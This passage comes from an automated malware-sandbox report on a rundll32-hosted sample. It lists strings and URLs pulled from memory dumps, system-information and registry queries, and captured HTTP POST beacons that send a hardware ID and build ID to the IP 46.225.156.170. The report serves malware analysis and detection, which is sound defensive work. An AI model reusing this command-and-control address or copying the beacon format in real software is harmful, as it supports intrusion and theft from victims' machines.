"00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t4]" - Source: "00000000-00005492.00000001.309002.C1C40000.00000004.mdmp") Found URL "https://46.225.156.170/46.225.156.17046.225.156.170microsoft" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "https://46.225.156.170/12624negotiatenegoextenderkerberoscache-controlno-cacheuser-agent:" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0microsoft" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmwashington1redmond1microsoft" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuphhsmookh" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!ghydn5" - Source: "00000000-00008812.00000001.308653.64FA0000.00000004.mdmp") Found URL "https://46.225.156.170/46.225.156.17046.225.156.170cha46.225.156.170enclaverpc-2171c03f7c01eb44b6uthority" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "https://46.225.156.170/12624negoextenderuser-agent:" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.21.1pkcs89_ohrbt1.3.6.1.5.5.7.1.12hrbt1.2.840.10045.4.3.3microsoft" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmwestern" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!" - Source: "00000000-00009096.00000001.309701.A1290000.00000004.mdmp") Found URL "https://46.225.156.170/curiey" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "https://46.225.156.170/user-agent:" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'fi" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!+m@8g)^wd" - Source: "00000000-00009372.00000001.309513.C91D0000.00000004.mdmp") Found URL "https://46.225.156.170/46.225.156.170microsoft" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "https://46.225.156.170/46.225.156.17046.225.156.170cha46.225.156.170ubject" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "https://46.225.156.170/cache-controlno-cache" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0xcpx" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmwestern" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!a" - Source: "00000000-00009928.00000001.309353.52D90000.00000004.mdmp")50:Tcb1,Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00004240.00000001.310045.B3360000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004240.00000001.310045.B3360000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004240.00000001.310045.B3360000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00004240.00000001.310045.B3360000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004588.00000001.310240.C4F10000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00004588.00000001.310240.C4F10000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00004588.00000001.310240.C4F10000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004588.00000001.310240.C4F10000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004656.00000001.308817.FF150000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00004656.00000001.308817.FF150000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004656.00000001.308817.FF150000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00004656.00000001.308817.FF150000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00004692.00000001.310142.58080000.00000004.mdmp")51:T5c0,"rundll32.exe" called "GetComputerNameA" (UID: 00000000-00005492) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00005492) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00004656) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00004656) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00008812) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00008812) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00004108) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00004108) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00009928) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00009928) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00009372) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00009372) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00009096) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00009096) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00002724) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00002724) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00004692) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00004692) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00004240) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00004240) "rundll32.exe" called "GetComputerNameA" (UID: 00000000-00004588) "rundll32.exe" called "GetComputerNameW" (UID: 00000000-00004588)52:T1ced,Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00002724.00000000.309523.29B40000.00000004.mdmp, 00000000-00002724.00000000.309523.29E80000.00000004.mdmp, 00000000-00002724.00000001.309881.29B40000.00000004.mdmp, 00000000-00002724.00000001.309881.29E80000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00002724.00000000.309523.29B40000.00000004.mdmp, 00000000-00002724.00000000.309523.29E80000.00000004.mdmp, 00000000-00002724.00000001.309881.29B40000.00000004.mdmp, 00000000-00002724.00000001.309881.29E80000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00002724.00000000.309523.29B40000.00000004.mdmp, 00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp, 00000000-00003924.00000000.308311.92CA0000.00000004.mdmp, 00000000-00003924.00000001.308493.929B0000.00000004.mdmp, 00000000-00003924.00000001.308493.92CA0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp, 00000000-00003924.00000000.308311.92CA0000.00000004.mdmp, 00000000-00003924.00000001.308493.929B0000.00000004.mdmp, 00000000-00003924.00000001.308493.92CA0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp, 00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp") Found string "riverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp") Found string "ndows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp, 00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "ndows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00003924.00000000.308311.929B0000.00000004.mdmp, 00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004108.00000000.308821.8A750000.00000004.mdmp, 00000000-00004108.00000000.308821.8A9D0000.00000004.mdmp, 00000000-00004108.00000001.309191.8A750000.00000004.mdmp, 00000000-00004108.00000001.309191.8A9D0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004108.00000000.308821.8A750000.00000004.mdmp, 00000000-00004108.00000000.308821.8A9D0000.00000004.mdmp, 00000000-00004108.00000001.309191.8A750000.00000004.mdmp, 00000000-00004108.00000001.309191.8A9D0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00004108.00000000.308821.8A750000.00000004.mdmp, 00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004240.00000000.309844.B3360000.00000004.mdmp, 00000000-00004240.00000000.309844.B3700000.00000004.mdmp, 00000000-00004240.00000001.310045.B3360000.00000004.mdmp, 00000000-00004240.00000001.310045.B3700000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004240.00000000.309844.B3360000.00000004.mdmp, 00000000-00004240.00000000.309844.B3700000.00000004.mdmp, 00000000-00004240.00000001.310045.B3360000.00000004.mdmp, 00000000-00004240.00000001.310045.B3700000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00004240.00000000.309844.B3360000.00000004.mdmp, 00000000-00004240.00000001.310045.B3360000.00000004.mdmp") Found string "dows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004240.00000000.309844.B3360000.00000004.mdmp") Found string "dows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004240.00000000.309844.B3360000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004588.00000000.310031.C4F10000.00000004.mdmp, 00000000-00004588.00000000.310031.C5110000.00000004.mdmp, 00000000-00004588.00000001.310240.C4F10000.00000004.mdmp, 00000000-00004588.00000001.310240.C5110000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004588.00000000.310031.C4F10000.00000004.mdmp, 00000000-00004588.00000000.310031.C5110000.00000004.mdmp, 00000000-00004588.00000001.310240.C4F10000.00000004.mdmp, 00000000-00004588.00000001.310240.C5110000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00004588.00000000.310031.C4F10000.00000004.mdmp, 00000000-00004588.00000001.310240.C4F10000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004656.00000000.308310.FF150000.00000004.mdmp, 00000000-00004656.00000000.308310.FF2C0000.00000004.mdmp, 00000000-00004656.00000001.308817.FF150000.00000004.mdmp, 00000000-00004656.00000001.308817.FF2C0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004656.00000000.308310.FF150000.00000004.mdmp, 00000000-00004656.00000000.308310.FF2C0000.00000004.mdmp, 00000000-00004656.00000001.308817.FF150000.00000004.mdmp, 00000000-00004656.00000001.308817.FF2C0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00004656.00000000.308310.FF150000.00000004.mdmp, 00000000-00004656.00000001.308817.FF150000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004692.00000000.309680.58080000.00000004.mdmp, 00000000-00004692.00000000.309680.58320000.00000004.mdmp, 00000000-00004692.00000001.310142.58080000.00000004.mdmp, 00000000-00004692.00000001.310142.58320000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00004692.00000000.309680.58080000.00000004.mdmp, 00000000-00004692.00000000.309680.58320000.00000004.mdmp, 00000000-00004692.00000001.310142.58080000.00000004.mdmp, 00000000-00004692.00000001.310142.58320000.00000004.mdmp") Found string "\Device\HarddiskVolume3\Windows\System32\rundll32.exe" (Indicator: "\Device\"; Source: "00000000-00004692.00000000.309680.58080000.00000004.mdmp, 00000000-00004692.00000001.310142.58080000.00000004.mdmp") Found string "em32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00004692.00000001.310142.58080000.00000004.mdmp")53:Ta12,"rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "rundll32.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "")54:T2e06,"POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----18c333da903c0a55900c Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------18c333da903c0a55900cContent-Disposition: form-data; name="hwid"5B26888625475E99E0E3-07de0940-fa46-60E3A1E------18c333da903c0a55900cContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------18c333da903c0a55900cContent-Disposition: form-data; name="format"json------18c333da903c0a55900c--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:02:50 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="format"json------c457a0fe2b8a157d82d3--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:02:53 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320a Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 